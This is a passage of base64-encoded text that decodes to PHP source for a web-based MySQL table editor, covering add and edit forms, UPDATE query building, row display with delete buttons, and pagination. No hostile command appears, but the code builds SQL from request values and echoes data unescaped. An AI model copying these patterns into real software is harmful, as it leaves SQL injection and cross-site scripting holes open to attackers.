uZyk7IC8vIGdldCByaWQgb2YgdGhlIGxhc3QgJyknDQogICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXkNCiAgICAgICBpZihzdHJuY21wKCRhcnJbMV0sJ3NldCcsMyk9PTAgKXsvL1NldHMgY2FuIGhhdmUgY29tYmluYXRpb25zIG9mIHZhbHVlcw0KICAgICAgICAgICBlY2hvICI8dGQ+U2V0IChzZWxlY3Qgb25lIG9yIG1vcmUpPC90ZD4iOw0KICAgICAgICAgICBlY2hvIjx0ZD48c2VsZWN0IG5hbWU9J2FycmF5WyRpXVtdJyBzaXplPSczJyBtdWx0aXBsZT4iOw0KICAgICAgIH1lbHNley8vRW51bSBvbmUgdmFsdWUgb25seQ0KICAgICAgICBlY2hvICI8dGQ+RW51bTwvdGQ+IjsNCiAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0nPiI7DQogICAgICAgfQ0KICAgICAgIGZvcigkeT0wOyAkeTwkbnVtOyR5Kyspew0KICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0+JG5uZXdzdHJpbmdbJHldIjsNCiAgICAgICB9DQogICAgICAgIGVjaG8iPC9zZWxlY3Q+PC90ZD48L3RyPlxuIjsNCiAgICAvLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCiAgICAgIH1lbHNlew0KICAgICAgIGVjaG8iPHRkPiR0eXBlPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpemU9JyRmbGVuJyAvPjwvdGQ+PC90cj5cbiI7DQogICAgICB9DQogfQ0KIGVjaG8iPHRyPjx0ZD48aW5wdXQgY2xhc3M9YnV0IHR5cGU9c3VibWl0IG5hbWU9J2FkZHJlYycgdmFsdWU9J0FkZCBSZWNvcmQnIC8+PC90ZD5cbiI7DQogZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsNCiBlY2hvIjwvdHI+IjsNCiBlY2hvIjwvdGFibGU+XG4iOw0KIGVjaG8iPC9mb3JtPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqKioqKioqKioqKkVkaXQgRm9ybSAqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIGVkaXRmb3JtKCR0YWJsZW5hbWUsICRkYm5hbWUsICRyZXN1bHQsICRlZGl0LCAkcGssICRwdil7DQogICAgICAgICRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQogICAgICAgIGVjaG8iPGZvcm0gYWN0aW9uPSckYWN0aW9uJyAgbWV0aG9kPXBvc3Q+XG4iOw0KICAgICAgICBlY2hvIjx0YWJsZSBib3JkZXI9MCB3aWR0aCA9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsNCg0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KDQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjx0cj4iOw0KICAgICAgICAkbXhsZW4gPSA4MDsvL21heCB3aWR0aCBvZiB0aGUgZm9ybSBmaWVsZHMNCiAgICAgICAgZm9yKCRpPTA7ICRpIDwgJGZsZHM7ICRpKyspew0KICAgICAgICAkZm5hbWU9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkaSk7DQogICAgICAgICAgICAgICAgZWNobyAiPHRoPiRmbmFtZSI7DQogICAgICAgICAgICAgICAgICRmbGVuID0gbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICAgICAgICAgICAkbnNsYXNoID0gU3RyaXBTbGFzaGVzKCRyb3dbJGldKTsNCiAgICAgICAgLy8gU3RhcnQgb2YgbmV3IGNvZGUgZm9yIHNldCBkcm9wIGRvd24NCiAgICAgICRuZXdzcWwgPSAic2hvdyBjb2x1bW5zIGZyb20gJHRhYmxlbmFtZSBsaWtlICclIi4kZm5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgJGFycj1teXNxbF9mZXRjaF9hcnJheSgkbmV3cmVzdWx0KTsNCiAgICAvLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KICAgICAgICAgICAgICAgIGlmKCRmbGVuID4gJG14bGVuKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJ3cz4xMCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyd3M9MTA7IC8vbWF4IGxlbmd0aCBvZiB0ZXh0YXJlYQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PHRleHRhcmVhIG5hbWU9J2FycmF5WyRpXScgcm93cz0kcndzIGNvbHM9JG14bGVuPiRuc2xhc2g8L3RleHRhcmVhPjwvdGQ+PC90cj5cbiI7DQovLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgICAgIH1lbHNlaWYgKHN0cm5jbXAoJGFyclsxXSwnc2V0JywzKT09MCB8fCBzdHJuY21wKCRhcnJbMV0sJ2VudW0nLDQpPT0wKXsgIC8vIFdlIGhhdmUgYSBmaWVsZCB0eXBlIG9mIHNldCBvciBlbnVtDQogICAgICAgICAgICRudW09c3Vic3RyX2NvdW50KCRhcnJbMV0sJywnKSArIDE7ICAvLyBjb3VudCB0aGUgbnVtYmVyIG9mIGVudHJpZXMNCiAgICAgICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcNCiAgICAgICAgICAgJG5ld3N0cmluZz1zdWJzdHIoJGFyclsxXSwkcG9zKzEpOyAgLy8gZ2V0IHJpZCBvZiB0aGUgJz8/PygnDQogICAgICAgICAgICRzbmV3c3RyaW5nPXN0cl9yZXBsYWNlKCcpJywnJywkbmV3c3RyaW5nKTsgLy8gZ2V0IHJpZCBvZiB0aGUgbGFzdCAnKScNCiAgICAgICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXkNCiAgICAgICAgICAgaWYoc3RybmNtcCgkYXJyWzFdLCdzZXQnLDMpPT0wICl7Ly9TZXRzIGNhbiBoYXZlIGNvbWJpbmF0aW9ucyBvZiB2YWx1ZXMNCiAgICAgICAgICAgICAgIGVjaG8iPHRkPjxzZWxlY3QgbmFtZT0nYXJyYXlbJGldW10nIG11bHRpcGxlIHNpemU9JzMnPiI7DQogICAgICAgICAgIH1lbHNley8vRW51bSBvbmUgdmFsdWUgb25seQ0KICAgICAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0nPiI7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJG5zZWw9ZXhwbG9kZSgiLCIsJG5zbGFzaCk7DQogICAgICAgICAgZm9yKCR5PTA7ICR5PCRudW07JHkrKyl7DQogICAgICAgICAgICAgICAgLy9nZXRlYWNoIHZhbHVlICdhLGIsYycNCiAgICAgICAgICAgICAgICAkc2VsPSIiOw0KICAgICAgICAgICAgICAgIGZvcigkZT0wOyAkZTxjb3VudCgkbnNlbCk7JGUrKyl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRubmV3c3RyaW5nWyR5XT09IiciLiRuc2VsWyRlXS4iJyIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlbD0ic2VsZWN0ZWQiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0gJHNlbD4kbm5ld3N0cmluZ1skeV0iOw0KICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQovLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KDQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpemU9JyRmbGVuJyB2YWx1ZT0nJG5zbGFzaCcgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmb3IoJGYgPTA7ICRmPCBjb3VudCgkcGspOyRmKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skZl0gdmFsdWU9JyRwa1skZl0nIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGZdIHZhbHVlPSckcHZbJGZdJyAvPlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPjxpbnB1dCBjbGFzcz1idXQgdHlwZT1zdWJtaXQgbmFtZT0nZWRpdHJlYycgdmFsdWU9J1VwZGF0ZScgLz48L3RkPlxuIjsNCiAgICAgICAgZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsNCiAgICAgICAgZWNobyI8L3RyPiI7DQogICAgICAgIGVjaG8iPC90YWJsZT5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPlxuIjsNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqRWRpdCBSZWNvcmQqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBlZGl0cmVjKCRkYm5hbWUsICR0YWJsZW5hbWUsICRwaywgJHB2LCAkYXJyYXkpew0KDQogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCiAgICAkcmVzdWx0ID0gZXhlcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCg0KLy9CdWlsZCBRdWVyeQ0KICAgICAgICAgICAkcXJ5PSIiOw0KICAgICRxdWVyeSA9ICJVUERBVEUgJHRhYmxlbmFtZSBzZXQgIjsNCiAgICAgICAgZm9yICgkeCA9MDsgJHggPCAkZmxkczsgJHgrKyl7DQogICAgICAgICAgICAgICAgJGZpZSA9IG15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJHggKTsNCiAgICAgICAgLy8gU0VUIGFuZCBFTlVNDQogICAgICAgICBpZihpc19hcnJheSgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAkbXZhbD0iIjsNCiAgICAgICAgICAgIGZvcigkbT0wOyAkbSA8IGNvdW50KCRhcnJheVskeF0pOyAkbSsrKXsNCiAgICAgICAgICAgICAgICBpZigkbSsxID09IGNvdW50KCRhcnJheVskeF0pKXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKTsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgLy8qKioqKioqKioqKioqKioqKioqKioqKioqKg0KICAgICAgICAgICAgICAgIC8vJGZ2YWwgPSBBZGRTbGFzaGVzKCRhcnJheVskeF0pOw0KICAgICAgICAgICAgICAgICRxcnkgLj0gIiRmaWUgPSAnJGZ2YWwnIjsNCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkd2hyID0gYnVpbGR3aHIoICRwaywgJHB2KTsNCiAgICAgICAgJHdociA9U3RyaXBTbGFzaGVzKCR3aHIpOw0KICAgICAgICAkcXVlcnkgLj0gIiRxcnkiOw0KICAgICAgICAkcXVlcnkgLj0gIiB3aGVyZSAkd2hyIjsNCg0KICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKiogTnVtYmVyIG9mIFByaW1hcnkgS2V5cyAqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gbnVtcGsoJHJlc3VsdCl7DQogICAgICAgICR6ID0wOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmxkczsgJGkrKykgew0KICAgICAgICAgICAgICAgIC8vRmluZCB0aGUgcHJpbWFyeSBrZXkNCiAgICAgICAgICAgICAgICAkZmxhZ3N0cmluZyA9IG15c3FsX2ZpZWxkX2ZsYWdzICgkcmVzdWx0LCAkaSk7DQogICAgICAgICAgICAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHorKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR6Ow0KfQ0KLy8qKioqKioqKioqKioqKioqKioqKlNpemUgZmllbGQqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gZmllbGRmb3Jtc2l6ZSgkZnQsICRpLCAkbCl7DQogICAgICAgICRmdD0gdHJpbShzdHJ0b3VwcGVyKCRmdCkpOw0KICAgICAgICBpZigkZnQgPT0iREFURSIgfHwgJGZ0PT0iVElNRSIgfHwgJGZ0PT0gIkRBVEVUSU1FIiApew0KICAgICAgICB9ZWxzZWlmKCAkZnQ9PSJUSU5ZVEVYVCIgfHwgJGZ0PT0iQkxPQiIgfHwgJGZ0PT0iVEVYVCIgfHwgJGZ0ID09Ik1FRElVTUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9PSJNRURJVU1URVhUIiB8fCAkZnQ9PSJMT05HQkxPQiJ8fCAkZnQ9PSJMT05HVEVYVCIgfHwgJGZ0PT0iVElOWUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9PSJJTlQiIHx8ICRmdD09IlRJTllJTlQifHwgJGZ0PT0iU01BTExJTlQifHwgJGZ0PT0iTUVESVVNSU5UInx8ICRmdD09IkJJR0lOVCIgfHwgJGZ0PT0iSU5URUdFUiIpew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgc2l6ZT01ICB2YWx1ZT0kbD4iOw0KICAgICAgICB9ZWxzZWlmKCRmdD09IllFQVIiICl7DQogICAgICAgICAgICAgICAgZWNobyI8c2VsZWN0IG5hbWU9J2xlbmdbJGldJz4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0nNCc+NCI7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPScyJz4yIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvc2VsZWN0PlxuIjsNCiAgICB9ZWxzZWlmKCRmdD09IlNFVCJ8fCAkZnQ9PSJFTlVNIil7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgdGl0bGU9J3ZhbHVlcyBlZyBcImFcIiwgXCJiXCIsIFwiY1wiJyB2YWx1ZT0nJyAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgc2l6ZT01IHZhbHVlPSRsIC8+XG4iOw0KICAgICAgICB9DQp9DQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqRGlzcGxheSBSb3cgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBkaXNwbGF5cm93KCRkYm5hbWUsICR0YmwsICRwaywgJHBrZmllbGQsICRjcGssICRyb3csICRmbGRzKXsNCiAgICAgICAgJHBrZnM9IiI7DQogICAgICAgICRodj0iIjsNCiAgICAgICAgJGhmPSIiOw0KDQogICAgICAgIGlmKCRjcGsgPjAgJiYgIWVtcHR5KCRwa2ZpZWxkKSl7DQogICAgICAgICAgICAgICAgZm9yKCRhID0gMDsgJGEgPCAkY3BrOyAkYSsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWVsZG4gPSAkcGtmaWVsZFskYV07DQogICAgICAgICAgICAgICAgICAgICAgICAkaGYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXBrWyRhXSB2YWx1ZT0nJHBrZmllbGRbJGFdJyAvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkaHYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB2WyRhXSB2YWx1ZT0nJHJvd1skZmllbGRuXScgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7IC8vTm8gUHJpbWFyeSBLZXkgc28gdXNlIGFsbCBmaWVsZHMNCiAgICAgICAgICAgICAgICAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRibCk7DQogICAgICAgICAgICAgICAgZm9yKCRiID0gMDsgJGIgPCAkZmxkczsgJGIrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmllID0gbXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkYiApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGhmIC49ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skYl0gdmFsdWU9JyRmaWUnIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRodiAuPSAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGJdIHZhbHVlPSckcm93WyRiXScgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvIjx0cj5cbiI7DQogICAgICAgIC8vZWRpdCBSZWNvcmQNCiAgICAgICAgZWNobyI8dGQ+PGZvcm0gYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9cG9zdD5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YmwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5wa2V5cyB2YWx1ZT0nJGNwaycgLz5cbiI7DQogICAgICAgIGVjaG8iJGhmIjsNCiAgICAgICAgZWNobyIkaHYiOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zbWwgdHlwZT1zdWJtaXQgbmFtZT1lZGl0IHZhbHVlPSdFZGl0IFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdGQ+XG4iOw0KDQogICAgICAgIC8vRGVsZXRlIHJlY29yZA0KICAgICAgICBlY2hvIjx0ZD48Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1ldGhvZD1wb3N0PlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRibCcgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bnVtIHZhbHVlPSckY3BrJyAvPlxuIjsNCiAgICAgICAgZWNobyIkaGYiOw0KICAgICAgICBlY2hvIiRodiI7DQogICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPXNtbGRlbCB0eXBlPXN1Ym1pdCBuYW1lPWRlbGV0ZSB2YWx1ZT0nRGVsZXRlIFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdGQ+IjsNCg0KICAgICAgICAvL0Rpc3BsYXkgYWxsIHRoZSBjb2x1bW5zLg0KICAgICAgICBmb3IoJGNvbCA9IDA7ICRjb2wgPCAkZmxkczsgJGNvbCArKyl7DQogICAgICAgICAgICAgICAgJG5zbGFzaCA9IFN0cmlwU2xhc2hlcygkcm93WyRjb2xdKTsNCiAgICAgICAgICAgICAgICBlY2hvIjx0ZD4kbnNsYXNoPC90ZD4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8iPC90cj4iOw0KDQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqUmVtb3ZlIEFycmF5IENvcHkqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KLy9yZW1vdmVzIGNvcGllcyBmcm9tIGFuIGFycmF5ICR4Lg0KDQpmdW5jdGlvbiByZW1vdmVhcnJheWNvcHkoJHgpew0KICAgICAgICAkbGVuZz0gY291bnQoJHgpOw0KICAgICAgICBzb3J0KCR4KTsNCiAgICAgICAgJGZhcnI9YXJyYXkoKTsNCg0KICAgICAgICBmb3IgKCRpID0wOyAkaSA8ICRsZW5nOyAkaSsrKXsNCiAgICAgICAgICAgICAgICAkZmxhZz1mYWxzZTsNCiAgICAgICAgICAgICAgICBmb3IgKCRzID0wOyAkcyA8IGNvdW50KCRmYXJyKTsgJHMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkeFskaV09PSRmYXJyWyRzXSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbGFnPXRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkZmxhZyA9PSBmYWxzZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmFycltjb3VudCgkZmFycildID0gJHhbJGldOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGZhcnI7DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqPDwgcGFnZSBwb3NpdGlvbiA+PioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiB3aGljaHBhZ2UoJG51bV9yb3dzLCAkcGFnZW1heCwgJHBnLCAkdGFibGVuYW1lLCAkc2VhcmNodmFsKXsNCiAgICAgICAgJHBncyA9ICRudW1fcm93cy8kcGFnZW1heDsNCiAgICAgICAgJHBncz1jZWlsKCRwZ3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcm91bmQgdXAgdGhlIG51bWJlciBvZiBwYWdlcy4NCiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIGlkPSdyZWNzcGFnZScgbWV0aG9kPSdwb3N0JyBuYW1lPSdyZWNzcGFnZSc+XG4iOw0KICAgIGVjaG8iVG90YWwgbnVtYmVyIG9mIHJlY29yZHMgJG51bV9yb3dzLCBkaXNwbGF5ZWQgb24gJHBncyBwYWdlcyBvZiBcbiI7DQogICAgZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgIG5hbWU9J3BhZ2VtYXgnIHZhbHVlPSckcGFnZW1heCcgc2l6ZT0nNCcgb25jaGFuZ2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgdGhlIG51bWJlciByZWNvcmRzIHRvIGRpc3BsYXkgb24gYSBwYWdlIHRoZW4gY2xpY2sgb3V0c2lkZSB0aGUgYm94JyAvPiBcbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc2VhcmNodmFsJyB2YWx1ZT0nJHNlYXJjaHZhbCcgIC8+XG4iOw0KICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgIC8+XG4iOw0KICAgIGVjaG8icmVjb3JkcyBwZXIgcGFnZS48L2Zvcm0+IFxuIjsNCiAgICAkcGFnZXNjcm9sPSIiOw0KICAgICRzdmFsPSIiOw0KICAgICAgICAgIGlmKCRwZ3MgPjEpew0KICAgICAgICAgICAgJHBhZ2VzY3JvbD0iPGRpdiBjbGFzcz0ncGFnZWNvdW50Jz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkbnh0PSRwZysxOw0KICAgICAgICAgICAgJGJrPSRwZy0xOw0KICAgICAgICAgICAgJGxzdD0kcGdzOw0KICAgICAgICAgICAgJGVuZD0kbHN0LTE7DQogICAgICAgICAgICAkc2hvd3A9JHBnKzE7DQogICAgICAgICAgIGlmKCRzZWFyY2h2YWwgIT0iIil7DQogICAgICAgICAgICAkc3ZhbD0iJmFtcDtzZWFyY2h2YWw9JHNlYXJjaHZhbCI7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPGZvcm0gbmFtZT0ncGFnZXMnIGlkPSdwYWdlcycgYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9J2dldCc+XG4iOw0KICAgICAgICAgICAgaWYoJHBnPj0xKXsNCiAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJGFjdGlvbj90YWJsZW5hbWU9JHRhYmxlbmFtZSZhbXA7cGc9MCRzdmFsJyB0aXRsZT0nVG8gZmlyc3QgcGFnZSc+IDEgOjw8IDwvYT4gXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJ2FjdGlvbic/dGFibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRiayRzdmFsJyB0aXRsZT0nQmFjayBvbmUgcGFnZSc+IDwgPC9hPiBcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwZycgdmFsdWU9JyRzaG93cCcgc2l6ZT0nNCcgb25jaGFuZ2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgYSBwYWdlIG51bWJlciB0aGVuIGNsaWNrIG91dHNpZGUgdGhlIGJveCcgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3BiYWNrJyB2YWx1ZT0ndHJ1ZScgIC8+XG4iOw0KICAgICAgICAgICAkcGFnZXNjcm9sIC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzZWFyY2h2YWwnIHZhbHVlPSckc2VhcmNodmFsJyAgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RhYmxlbmFtZScgdmFsdWU9JyR0YWJsZW5hbWUnICAvPlxuIjsNCg0KICAgICAgICAgICBpZigkc2hvd3AgPCAkbHN0KXsNCiAgICAgICAgICAgICAgICAkcGFn